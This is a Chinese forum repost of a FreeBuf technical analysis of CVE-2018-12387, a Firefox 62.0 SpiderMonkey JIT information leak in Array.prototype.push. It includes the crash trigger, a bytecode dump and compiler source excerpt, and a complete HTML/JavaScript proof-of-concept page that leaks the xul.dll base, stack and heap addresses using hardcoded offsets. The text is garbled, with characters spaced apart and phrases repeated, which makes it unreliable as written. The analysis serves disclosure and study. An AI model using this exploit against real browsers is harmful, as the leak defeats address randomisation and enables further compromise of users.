搜索

[13375] 2018-11-04_Firefox信息泄漏漏洞的技术分析（CVE-2018-12387）

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2018-11-04_Firefox信息泄漏漏洞的技术分析（CVE-2018-12387） F i r e f o x 信 息 泄 漏 漏 洞 的 技 术 分 析 （ C V E - 2 0 1 8 - 1 2 3 8 7 ） A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 1 1 - 0 4 前 言 前 言 研 究 发 现 ， 研 究 发 现 ， J a v a S c r i p t   J I T 编 辑 器 中 的 编 辑 器 中 的 A r r a y . p r o t o t y p e . p u s h 有 多 个 存 在 安 全 问 题 的 参 数 ， 而 这 些 参 数 共 同 导 致 有 多 个 存 在 安 全 问 题 的 参 数 ， 而 这 些 参 数 共 同 导 致 了 这 个 信 息 泄 漏 漏 洞 的 出 现 。 这 个 漏 洞 会 将 内 存 地 址 泄 露 给 一 个 相 关 调 用 函 数 ， 攻 击 者 将 能 够 使 用 这 个 地 址 来 了 这 个 信 息 泄 漏 漏 洞 的 出 现 。 这 个 漏 洞 会 将 内 存 地 址 泄 露 给 一 个 相 关 调 用 函 数 ， 攻 击 者 将 能 够 使 用 这 个 地 址 来 进 一 步 实 施 攻 击 。 进 一 步 实 施 攻 击 。 厂 商 回 复 厂 商 回 复 这 个 安 全 漏 洞 已 经 在 F i r e f o x   6 2 . 0 . 3 和 F i r e f o x   E S R   6 0 . 2 . 2 版 本 中 得 到 了 修 复 。 漏 洞 漏 洞 C V E 编 号 编 号 C V E - 2 0 1 8 - 1 2 3 8 7 漏 洞 发 现 者 漏 洞 发 现 者 B r u n o K e i t h 和 N i k l a s B a u m s t a r k ， 独 立 安 全 研 究 员 ， 在 发 现 该 漏 洞 之 后 他 们 便 将 漏 洞 信 息 上 报 给 了 B e y o n d   S e c u r i t y 的 S e c u r i T e a m 安 全 披 露 项 目 。 受 影 响 的 系 统 受 影 响 的 系 统 F i r e f o x   6 2 . 0 F i r e f o x   E S R   6 0 . 2 漏 洞 详 情 漏 洞 详 情 在 对 S p i d e r m o n k e y （ M o z i l l a 的 J a v a S c r i p t 引 擎 ， 采 用 C + + 编 写 ） 进 行 模 糊 测 试 的 过 程 中 ， 我 们 用 下 面 这 段 代 码 成 功 触 发 了 一 次 调 试 断 言 （ D e b u g   A s s e r t i o n ） ：
上 述 代 码 触 发 了 如 下 所 示 的 断 言 （ A s s e r t i o n ） ： 根 本 原 因 分 析 根 本 原 因 分 析 在 运 行 J I T 编 译 器 生 成 的 代 码 时 ， 函 数 f 生 成 了 上 述 断 言 。 接 下 来 ， 我 们 一 起 看 一 看 J I T 代 码 中 的 I R （ 中 间 表 示 ） ： 我 们 可 以 看 到 上 图 中 的 a r r a y p u s h t 指 令 ， 关 于 该 指 令 的 内 容 可 参 考 【 这 篇 文 档 】 。 函 数 中 的 注 释 信 息 表 示 ， 调 用 p u s h 命 令 的 参 数 将 会 被 分 成 多 个 单 独 的 a r r a y p u s h { t , v } 指 令 。 此 时 会 触 发 断 言 ， 因 为 在 调 用 函 数 时 ， 栈 指 针 没 有 被 正 确 恢 复 。 在 了 解 了 错 误 发 生 的 场 景 之 后 ， 我 们 需 要 从 B a s e l i n e C o m p i l e r . c p p 中 寻 找 到 负 责 执 行 s y n c S t a c k ( 0 ) 的 操 作 码 H a n d l e r ， 并 通 过 p e e k ( ) 来 获 取 栈 地 址 值 ： 这 个 操 作 码 会 被 下 列 J a v a S c r i p t 代 码 执 行 ： f u n c t i o n f ( o )   {               v a r   a   =   [ o ] ;               a . l e n g t h   =   a [ 0 ] ;               v a r   u s e l e s s   =   f u n c t i o n   ( )   { }               v a r   s z   =   A r r a y . p r o t o t y p e . p u s h . c a l l ( a ,   4 2 , 4 3 ) ;               ( f u n c t i o n   ( )   {                             s z ;               } ) ( n e w   B o o l e a n ( f a l s e ) ) ; } f o r ( v a r   i   =   0 ;   i   <   2 5 0 0 0 ;   i + + )   {               f ( 1 ) ; } f ( 2 ) ; A s s e r t i o n   f a i l u r e :   i s O b j e c t ( )   a n d   c r a s h e s   i n   r e l e a s e B u i l d / / L o a d   l h s   i n   R 0 ,   r h s   i n   R 1 .   f r a m e . s y n c S t a c k ( 0 ) ;   m a s m . l o a d V a l u e ( f r a m e . a d d r e s s O f S t a c k V a l u e ( f r a m e . p e e k ( - 2 ) ) , R 0 ) ;   m a s m . l o a d V a l u e ( f r a m e . a d d r e s s O f S t a c k V a l u e ( f r a m e . p e e k ( - 1 ) ) , R 1 ) ;   / /   C a l l   I C .   I C S e t P r o p _ F a l l b a c k : : C o m p i l e r   c o m p i l e r ( c x ) ;   i f ( ! e m i t O p I C ( c o m p i l e r . g e t S t u b ( & s t u b S p a c e _ ) ) )           r e t u r n   f a l s e ;   / /   L e a v e   t h e   o b j e c t   o n   t h e   s t a c k .   f r a m e . p o p ( ) ;
H a n d l e r 告 诉 了 我 们 这 个 操 作 码 是 如 何 被 编 译 的 ： R 0 被 设 置 为 了 s t a c k [ t o p - 1 ]   =   o ， R 1 被 设 置 为 了 s t a c k [ t o p ]   =   y ， 接 下 来 内 部 缓 存 会 设 置 R 0 . a   =   R 1 。 由 于 栈 地 址 偏 移 ， 在 下 面 的 代 码 中 会 执 行 s t a c k [ t o p ] . a   =   s t a c k [ t o p + 1 ] ， 因 此 我 们 可 以 在 栈 外 获 取 一 个 J S V a l u e ： 指 令 4 8 只 会 将 一 个 函 数 p u s h 进 堆 内 存 中 ， 这 样 一 来 指 令 8 5 （ f u n c a l l ） 将 不 会 抛 出 异 常 ， 因 为 它 会 尝 试 从 栈 中 获 取 A r r a y . p r o t o t y p e . p u s h . c a l l ， 但 是 有 8 字 节 的 偏 移 量 。 并 在 我 们 的 系 统 上 打 印 出 了 2 . 1 1 9 5 1 3 5 0 1 1 7 0 6 7 e - 3 1 0 ， 它 是 整 型 值 0 x 2 7 0 4 4 d 5 6 5 2 3 5 的 d o u b l e 类 型 表 示 ， 而 这 是 一 个 返 回 地 址 。 最 终 的 漏 洞 利 用 代 码 将 能 够 利 用 这 个 缺 陷 来 泄 漏 堆 地 址 、 栈 地 址 和 x u l . d l l 的 基 地 址 。 漏 洞 利 用 代 码 漏 洞 利 用 代 码 *   参 考 来 源 ： 参 考 来 源 ： s e c u r i t e a m ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文 f u n c t i o n f ( )   {               v a r   y   =   { } ;               v a r   o   =   {                             a :   y               } ; } d i s ( f ) ;   / *   b y t e c o d e :   0 0 0 0 0 :   n e w o b j e c t   ( { } )   #   O B J   0 0 0 0 5 :   s e t l o c a l   0   #   O B J   0 0 0 0 9 :   p o p   #   0 0 0 1 0 :   n e w o b j e c t   ( { a : ( v o i d   0 ) } )   #   O B J   0 0 0 1 5 :   g e t l o c a l   0   #   O B J   y   0 0 0 1 9 :   i n i t p r o p   " a "   #   O B J   0 0 0 2 4 :   s e t l o c a l   1   #   O B J   0 0 0 2 8 :   p o p   #   0 0 0 2 9 :   r e t r v a l   #   * / v a r t e s t   =   {               a :   1 3 . 3 7 } ;   f u n c t i o n f ( o )   {               v a r   a   =   [ o ] ;               a . l e n g t h   =   a [ 0 ] ;               v a r   u s e l e s s   =   f u n c t i o n   ( )   { }               u s e l e s s   +   u s e l e s s ;               v a r   s z   =   A r r a y . p r o t o t y p e . p u s h . c a l l ( a , 1 3 3 7 ,   4 3 ) ;               ( f u n c t i o n   ( )   {                             s z               } ) ( ) ;               v a r   o   =   {                             a :   t e s t               } ; } d i s ( f ) ; f o r ( v a r   i   =   0 ;   i   <   2 5 0 0 0 ;   i + + )   {               f ( 1 ) ; } f ( 1 0 0 ) ; p r i n t ( t e s t . a ) ; / * b y t e c o d e : . . . 0 0 0 3 4 : l a m b d a   f u n c t i o n ( )   { }   #   F U N 0 0 0 3 9 : s e t l o c a l   1   #   F U N 0 0 0 4 3 : p o p   # 0 0 0 4 4 : g e t l o c a l   1   #   u s e l e s s 0 0 0 4 8 : g e t l o c a l   1   #   u s e l e s s   u s e l e s s 0 0 0 5 2 : a d d   #   ( u s e l e s s   +   u s e l e s s ) 0 0 0 5 3 : p o p   # 0 0 0 5 4 : g e t g n a m e   " A r r a y "   #   A r r a y 0 0 0 5 9 : g e t p r o p   " p r o t o t y p e "   #   A r r a y . p r o t o t y p e 0 0 0 6 4 : g e t p r o p   " p u s h "   #   A r r a y . p r o t o t y p e . p u s h 0 0 0 6 9 : d u p   #   A r r a y . p r o t o t y p e . p u s h   A r r a y . p r o t o t y p e . p u s h 0 0 0 7 0 : c a l l p r o p   " c a l l "   #   A r r a y . p r o t o t y p e . p u s h   A r r a y . p r o t o t y p e . p u s h . c a l l 0 0 0 7 5 : s w a p   #   A r r a y . p r o t o t y p e . p u s h . c a l l   A r r a y . p r o t o t y p e . p u s h 0 0 0 7 6 : g e t l o c a l   0   #   A r r a y . p r o t o t y p e . p u s h . c a l l   A r r a y . p r o t o t y p e . p u s h   a 0 0 0 8 0 : u i n t 1 6   1 3 3 7   #   A r r a y . p r o t o t y p e . p u s h . c a l l   A r r a y . p r o t o t y p e . p u s h   a   1 3 3 7 0 0 0 8 3 : i n t 8   4 3   #   A r r a y . p r o t o t y p e . p u s h . c a l l   A r r a y . p r o t o t y p e . p u s h   a   1 3 3 7   4 3 0 0 0 8 5 : f u n c a l l   3   #   A r r a y . p r o t o t y p e . p u s h . c a l l ( . . . ) . . . 0 0 1 0 4 : n e w o b j e c t   ( { a : ( v o i d   0 ) } )   #   O B J 0 0 1 0 9 : g e t g n a m e   " t e s t "   #   O B J   t e s t 0 0 1 1 4 : i n i t p r o p   " a "   #   O B J 0 0 1 1 9 : s e t a r g   0   #   O B J 0 0 1 2 2 : p o p   # 0 0 1 2 3 : r e t r v a l   # < s c r i p t >   v a r c o n v e r t   =   n e w   A r r a y B u f f e r ( 0 x 1 0 0 ) ; v a r u 3 2   =   n e w   U i n t 3 2 A r r a y ( c o n v e r t ) ; v a r f 6 4   =   n e w   F l o a t 6 4 A r r a y ( c o n v e r t ) ;   v a r B A S E   =   0 x 1 0 0 0 0 0 0 0 0 ;   f u n c t i o n i 2 f ( x )   {         u 3 2 [ 0 ]   =   x   %   B A S E ;         u 3 2 [ 1 ]   =   ( x   -   ( x   %   B A S E ) )   /   B A S E ;   / / /         r e t u r n   f 6 4 [ 0 ] ; }   f u n c t i o n f 2 i ( x )   {         f 6 4 [ 0 ]   =   x ;         r e t u r n   u 3 2 [ 0 ]   +   B A S E   *   u 3 2 [ 1 ] ; }   f u n c t i o n h e x ( x )   {         r e t u r n   ` 0 x $ { x . t o S t r i n g ( 1 6 ) } ` }   v a r t e s t   =   { a : 0 x 1 3 3 7 } ;   f u n c t i o n g e n ( m )   {         v a r   e x p r   =   ' 1 + ( ' . r e p e a t ( m )   +   ' { a : y } '   + ' ) ' . r e p e a t ( m ) ;           v a r   c o d e   =   `         f   =   f u n c t i o n ( o )   {                 v a r   y   =   t e s t ;                 v a r   a   =   [ o ] ;                 a . l e n g t h   =   a [ 0 ] ;                 v a r   u s e l e s s   =   f u n c t i o n ( )   {   }                 u s e l e s s   +   u s e l e s s   +   u s e l e s s   +   u s e l e s s   + u s e l e s s   +   u s e l e s s ;                 v a r   s z   =   A r r a y . p r o t o t y p e . p u s h . c a l l ( a , 1 3 3 7 ,   4 3 ) ;                 ( f u n c t i o n ( )   {   s z ;   } ) ( ) ;                 v a r   o   =   $ { e x p r } ;         }         ` ;         e v a l ( c o d e ) ; }   V E R S I O N =   ' 6 2 . 0 ' ;   f u n c t i o n e x p l o i t ( )   {         v a r   x u l   =   0 ;         v a r   s t a c k   =   0 ;         v a r   h e a p   =   0 ;           v a r   l e a k   =   [ ] ;         f o r   ( v a r   i   =   2 0 ;   i   > =   0 ;   - - i )   {                 g e n ( i ) ;                 f o r   ( v a r   j   =   0 ;   j   <   1 0 0 0 0 ;   j + + )   {                         f ( 1 ) ;                 }                 f ( 1 0 0 ) ;                   v a r   x   =   f 2 i ( t e s t . a ) ;                   l e a k . p u s h ( x ) ;         }           f u n c t i o n   x u l b a s e ( a d d r )   {                 i f   ( V E R S I O N   = =   ' 6 2 . 0 ' )   {                         v a r   o f f s e t s   =   [                                 0 x 9 2 f e 3 4 ,                                 0 x 3 b d 4 1 0 8 ,                         ] ;                 }   e l s e   {                         a l e r t ( ' U n k n o w n   v e r s i o n :   '   + V E R S I O N ) ;                         t h r o w   n u l l ;                 }                 v a r   r e s   =   0 ;                 o f f s e t s . f o r E a c h ( ( o f f s e t )   = >   {                         i f   ( o f f s e t   %   0 x 1 0 0 0   = =   a d d r   % 0 x 1 0 0 0 )   {                                 r e s   =   a d d r   -   o f f s e t ;                         }                 } ) ;                 r e t u r n   r e s ;         }           x u l   =   x u l b a s e ( l e a k [ 1 ] ) ;         s t a c k   =   l e a k [ 0 ] ;         h e a p   =   l e a k [ 3 ] ;           v a r   e l   =   d o c u m e n t . c r e a t e E l e m e n t ( ' p r e ' ) ;         e l . i n n e r T e x t   =   (                 " X U L . d l l   b a s e :   "   +   h e x ( x u l )   + " n "   +                 " S t a c k :   "   +   h e x ( s t a c k )   + " n "   +                 " H e a p :   "   +   h e x ( h e a p )   + " n "   +                 " n F u l l   l e a k : n "   + l e a k . m a p ( h e x ) . j o i n ( " n " ) )         d o c u m e n t . b o d y . a p p e n d C h i l d ( e l ) ; } < / s c r i p t >   < b u t t o n o n c l i c k = " e x p l o i t ( ) " > G o < / b u t t o n >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理